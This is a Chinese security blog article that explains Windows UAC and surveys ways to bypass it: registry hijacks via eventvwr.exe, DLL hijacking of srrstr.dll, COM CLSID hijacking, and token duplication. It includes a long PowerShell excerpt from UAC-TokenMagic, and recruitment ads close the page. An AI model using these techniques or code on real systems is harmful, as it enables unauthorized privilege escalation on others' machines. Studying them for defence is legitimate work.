Bypass UAC方法整理
2023-3-6 06:1:38 Author: 白帽子(查看原文) 阅读量:62 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

NO.1概述

用户帐户控制 (UAC) 有助于防止恶意软件损坏电脑,并且有助于组织部署易于管理的桌面。借助 UAC,应用和任务将始终在非管理员帐户的安全上下文中运行,除非管理员专门授予管理员级别的访问系统权限。UAC 可阻止自动安装未经授权的应用并防止意外更改系统设置。UAC 允许所有用户使用标准用户帐户登录到他们的计算机。使用标准用户令牌启动的进程可能会使用授予标准用户的访问权限执行任务。例如,Windows 资源管理器会自动继承标准用户级别权限。此外,使用 Windows 资源管理器启动(例如,通过双击快捷方式)的任何应用也会使用标准用户权限组运行。许多应用(包括操作系统本身附带的应用)旨在通过此方式正常运行。UAC通过限制应用软件对系统层级的访问,从而改进Windows操作系统的安全性。

以上来自UAC

https://docs.microsoft.com/zh-cn/windows/security/identity-protection/user-account-control/user-account-control-overview

简而言之,UAC就像一个游乐场的检票员,用户相当于游客,用户令牌相当于游乐园套票。检票员检查套票来确定游客能游玩的项目。放在windows上就是UAC通过用户令牌来确定用户所能执行的操作。

NO.2 UAC工作原理

microsoft详细介绍了UAC的工作原理,见how-user-account-control-works

https://docs.microsoft.com/zh-cn/windows/security/identity-protection/user-account-control/how-user-account-control-works

为了不对系统本身需要的程序造成影响,且运行系统程序时不需要弹窗询问,微软设置了UAC白名单,白名单里的程序带有微软签名,这些程序默认以管理员权限运行,不触发UAC。白名单程序一般在system32目录下

触发UAC的条件:

配置Windows Update增加或删除用户账户改变用户的账户类型改变UAC设置安装ActiveX安装或移除程序安装设备驱动程序设置家长控制将文件移动或复制到Program Files或Windows目录查看其他用户文件夹更改注册表更改系统保护或者高级系统设置

在触发UAC时,windows会通过consent.exe进程来确定程序是否在白名单内以及程序的签名、运行程序用户的权限,然后根据结果判断是否弹出UAC框。UAC确认之后,会调用CreateProcessAsUser函数创建进程。UAC框以system进程启动在新的安全桌面,其他用户无法与之通信,所以不能通过模拟点击的方式来进行UAC确认。

NO.3 UAC绕过方法

Bypass UAC的方法大概可以分为:

1.  白名单

2.  DLL劫持

3.  COM组件劫持

4.  令牌复制

5.  COM接口技术

3.1 白名单

白名单内的程序默认以管理员权限启动。启动时会读取注册表HKCR下的键值,根据值启动相应的进程。把原本的键值改为cmd.exe,当高权限程序在运行过程中调用了键值,就会以高权限启动cmd.exe。

常见高权限白名单:

1.sdclt.exe2.dccw.exe3.eventvwr.exe4.computerdefaults.exe5.fodhelper.exe

以eventvwr.exe为例分析白名单绕过UAC机制。

查看eventvwr.exe属性,autoElevet属性为true,以为着可以自动提升权限。执行时会以管理员权限启动。

使用procmon查看eventvwr.exe启动时读取的注册表项,发现eventvwr.exe会查询HKCU\Software\Classes\mscfile\shell\open\command,当HKCU\Software\Classes\mscfile\shell\open\command为NAME NOT FOUND时,才会往下查询HKCR\mscfile\shell\open\command。在注册表里可以看到HKCR\mscfile\shell\open\command存储了MMC.exe的路径,HKCU\Software\Classes\mscfile\shell\open\command是不存在的。

在注册表里添加HKCU\Software\Classes\mscfile\shell\open\command项,值为要启动的程序,例如cmd,这个项普通用户权限就可以修改。当eventvwr.exe启动时,就会以管理员权限启动cmd。

3.2 DLL劫持

DLL劫持绕过UAC的原理是劫持高权限白名单程序启动是要加载的DLL,达到高权限代码执行的目的。

以C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe为例,procemon查看启动时加载的DLL

SystemPropertiesAdvanced会按照DLL加载的顺序去加载srrstr.dll,最终会在每个环境变量的路径去遍历加载srrstr.dll。所以如果有环境变量路径的写入权限,就可以将恶意srrstr.dll写入,SystemPropertiesAdvanced启动时便会加载执行

3.3 COM组件劫持

组件对象模型(Component Object Model,COM)是平台无关、分布式、面向对象的一种系统,可以用来创建可交互的二进制软件组件”。COM是微软OLE(复合文档)、ActiveX(互联网支持组件)以及其他组件的技术基础,COM允许对象跨进程和计算机边界进行交互。COM的核心是一组组件对象间交互的规范,定义了组件对象如何与其用户通过二进制接口标准进行交互,COM的接口是组件的类型纽带。COM还提供定位服务的实现,可以根据Windows系统注册表,从一个类标识(CLSID)来确定COM组件的位置(也可使用程序标识符(ProgID)是标识一个COM,但精度较低,因为不能保证它是全局唯一的),可以用CLSID实例化每个对象,然后枚举每个COM对象公开的方法和属性。一个COM组件可以实现多个COM对象,每个COM对象实现多个COM接口,DLL或者EXE作为COM组件的实现的容器。COM采用自己的IDL来描述组件的接口(interface),支持多接口,解决版本兼容问题。COM为所有组件定义了一个共同的父接口IUnknown。GUID 是一个 128 位整数(16 字节),COM将其用于计算机和网络的唯一标识符。

CLSID是标识 COM 类对象的全局唯一标识符,用于表示组件对象模型或基于 COM 的程序的特定实例。每个 CLSID 与包含该 CLSID 代码的 DLL 或 EXE 的位置之间的映射,客户端想要创建 COM 类的实例并使用其服务时,COM 都会根据CLSID查询对应的DLL或EXE(在HKCU\CLSID{xxxx}\InprocServer32\Default ),加载到进程中。

下图是控制面板对应CLSID

COM组件通过CLSID注册在注册表中的三个key下,当COM查询CLSID时,程序按照固定的顺序读取注册表值,获得DLL或EXE路径。依次读取顺序为:

HKEY_CURRENT_USER\Software\Classes\CLSIDHKEY_CLASSES_ROOT\CLSIDHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

以eventvwr.exe为例,使用procmon监控启动时读取的注册表项

和DLL加载过程类似,依次查询对应的项,没有查到就往下一个项查找。和DLL劫持原理类似,在COM对应的CLSID的键值写入恶意的DLL或者EXE路径,当COM组件读取CLSID调用的时候,就会运行恶意的程序。

下图是MSF windows/local/bypassuac_comhijack插件通过COM组件劫持bypass UAC提权过程。

windows/local/bypassuac_comhijack插件通过劫持eventvwr.exe、mmc.exe这两个自提权程序的COM加载过程来达到bypass UAC目的。在上文可以看到eventvwr启动过程中会查询加载HKCU\Software\Classes\CLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}下的值,但是默认这个键是不存在系统中的,且普通用户权限对HKCU\Software\Classes\CLSID可写。所以在注册表中增加这个键,设置相应的值,就可以达到劫持COM组件调用的目的。

下图是windows/local/bypassuac_comhijack插件写入的内容:

ThreadingModel属性见threading-model-attribute

https://docs.microsoft.com/en-us/windows/win32/cossdk/threading-model-attribute

当eventvwr查询到这个CLSID之后,便会把dll加载到进程中。

3.4 利用COM接口

COM接口通常是一组以函数的逻辑集合,其命名一般以“I"为前缀,并且继承IUnKnown接口。COM对象可以提供多个COM接口,每个接口提供不同的服务,因此COM接口与COM对象一样,都是用GUID来标识的,客户通过GUID来获取接口指针,再通过接口指针获取对应的服务。在系统中找到自提升的COM对象,且该对象接口能执行命令,便可以实现接口执行命令,绕过UAC。

参考BypassUAC

https://github.com/cnsimo/BypassUAC

3.5 令牌复制

每个进程都有一个主要令牌,用于描述与该进程关联的用户帐户的安全上下文。默认情况下,当进程的线程与安全对象进行交互时,系统使用主令牌。受限令牌是 CreateRestrictedToken

(https://docs.microsoft.com/zh-cn/windows/win32/api/securitybaseapi/nf-securitybaseapi-createrestrictedtoken)

函数修改的主要或模拟访问令牌。在受限令牌的安全上下文中运行的进程或模拟线程在访问安全对象或执行特权操作的能力方面受到限制。在调用 CreateProcessAsUser

(https://docs.microsoft.com/zh-cn/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessasusera)

函数时使用受限令牌,不需要SE_ASSIGNPRIMARYTOKEN_NAME权限。启动一个高权限进程,复制该进程令牌,修改为受限令牌,再以受限令牌启动新进程,可以使新进程获得原有进程的部分权限。工具:UAC-TokenMagic

(https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1)

    $ShellExecuteInfo = New-Object SHELLEXECUTEINFO    $ShellExecuteInfo.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($ShellExecuteInfo)    $ShellExecuteInfo.fMask = 0x40 # SEE_MASK_NOCLOSEPROCESS    $ShellExecuteInfo.lpFile = "wusa.exe"    $ShellExecuteInfo.nShow = 0x0 # SW_HIDE        if ([UACTokenMagic]::ShellExecuteEx([ref]$ShellExecuteInfo)) {      echo "[*] WUSA process created"      $hProcess = $ShellExecuteInfo.hProcess    } else {      echo "[!] Failed to create WUSA process!`n"      Break    }

启动wusa进程

  $hToken = [IntPtr]::Zero  if ([UACTokenMagic]::OpenProcessToken($hProcess,0x02000000,[ref]$hToken)) {    echo "[*] Opened process token"  } else {    echo "[!] Failed open process token!`n"    Break  }    # Duplicate token  # TOKEN_ALL_ACCESS = 0xf01ff  $hNewToken = [IntPtr]::Zero  $SECURITY_ATTRIBUTES = New-Object SECURITY_ATTRIBUTES  if ([UACTokenMagic]::DuplicateTokenEx($hToken,0xf01ff,[ref]$SECURITY_ATTRIBUTES,2,1,[ref]$hNewToken)) {    echo "[*] Duplicated process token"  } else {    echo "[!] Failed to duplicate process token!`n"    Break  }

打开wusa进程令牌句柄,复制令牌

  $SID_IDENTIFIER_AUTHORITY = New-Object SID_IDENTIFIER_AUTHORITY  $SID_IDENTIFIER_AUTHORITY.Value = [Byte[]](0x0,0x0,0x0,0x0,0x0,0x10)  $pSID = [IntPtr]::Zero  if ([UACTokenMagic]::AllocateAndInitializeSid([ref]$SID_IDENTIFIER_AUTHORITY,1,0x2000,0,0,0,0,0,0,0,[ref]$pSID)) {    echo "[*] Initialized MedIL SID"  } else {    echo "[!] Failed initialize SID!`n"    Break  }    # Token integrity label  $SID_AND_ATTRIBUTES = New-Object SID_AND_ATTRIBUTES  $SID_AND_ATTRIBUTES.Sid = $pSID  $SID_AND_ATTRIBUTES.Attributes = 0x20 # SE_GROUP_INTEGRITY  $TOKEN_MANDATORY_LABEL = New-Object TOKEN_MANDATORY_LABEL  $TOKEN_MANDATORY_LABEL.Label = $SID_AND_ATTRIBUTES  $TOKEN_MANDATORY_LABEL_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($TOKEN_MANDATORY_LABEL)  if([UACTokenMagic]::NtSetInformationToken($hNewToken,25,[ref]$TOKEN_MANDATORY_LABEL,$($TOKEN_MANDATORY_LABEL_SIZE)) -eq 0) {    echo "[*] Lowered token mandatory IL"  } else {    echo "[!] Failed modify token!`n"    Break  }    # Create restricted token  # LUA_TOKEN = 0x4  $LUAToken = [IntPtr]::Zero  if([UACTokenMagic]::NtFilterToken($hNewToken,4,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[ref]$LUAToken) -eq 0) {    echo "[*] Created restricted token"  } else {    echo "[!] Failed to create restricted token!`n"    Break  }    # Duplicate restricted token  # TOKEN_IMPERSONATE | TOKEN_QUERY = 0xc  $hNewToken = [IntPtr]::Zero  $SECURITY_ATTRIBUTES = New-Object SECURITY_ATTRIBUTES  if ([UACTokenMagic]::DuplicateTokenEx($LUAToken,0xc,[ref]$SECURITY_ATTRIBUTES,2,2,[ref]$hNewToken)) {    echo "[*] Duplicated restricted token"  } else {    echo "[!] Failed to duplicate restricted token!`n"    Break  }

设置受限令牌SID,创建受限令牌

  if([UACTokenMagic]::ImpersonateLoggedOnUser($hNewToken)) {    echo "[*] Successfully impersonated security context"  } else {    echo "[!] Failed impersonate context!`n"    Break  }    # Prepare CreateProcessWithLogon  $StartupInfo = New-Object STARTUPINFO  $StartupInfo.dwFlags = 0x00000001  $StartupInfo.wShowWindow = 0x0001  $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)  $ProcessInfo = New-Object PROCESS_INFORMATION    # Spawn elevated process  # LOGON_NETCREDENTIALS_ONLY = 0x2  $CurrentDirectory = $Env:SystemRoot  if ([UACTokenMagic]::CreateProcessWithLogonW("aaa", "bbb", "ccc", 0x00000002, $BinPath, $Args, 0x04000000, $null, $CurrentDirectory,[ref]$StartupInfo, [ref]$ProcessInfo)) {    echo "[*] Magic..`n"  } else {    echo "[!] Failed to create process!`n"    Break

检查令牌安全上下文,利用受限令牌创建进程。

RECRUITMENT

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队武器化Golang开发工程师

薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246554&idx=1&sn=26be4d20eeef39a165f957139a2f59cd&chksm=82ea5633b59ddf25810141432892dadceec07f9754df1c111af62564a863ac59efc4fa37b4ff#rd
如有侵权请联系:admin#unsafe.sh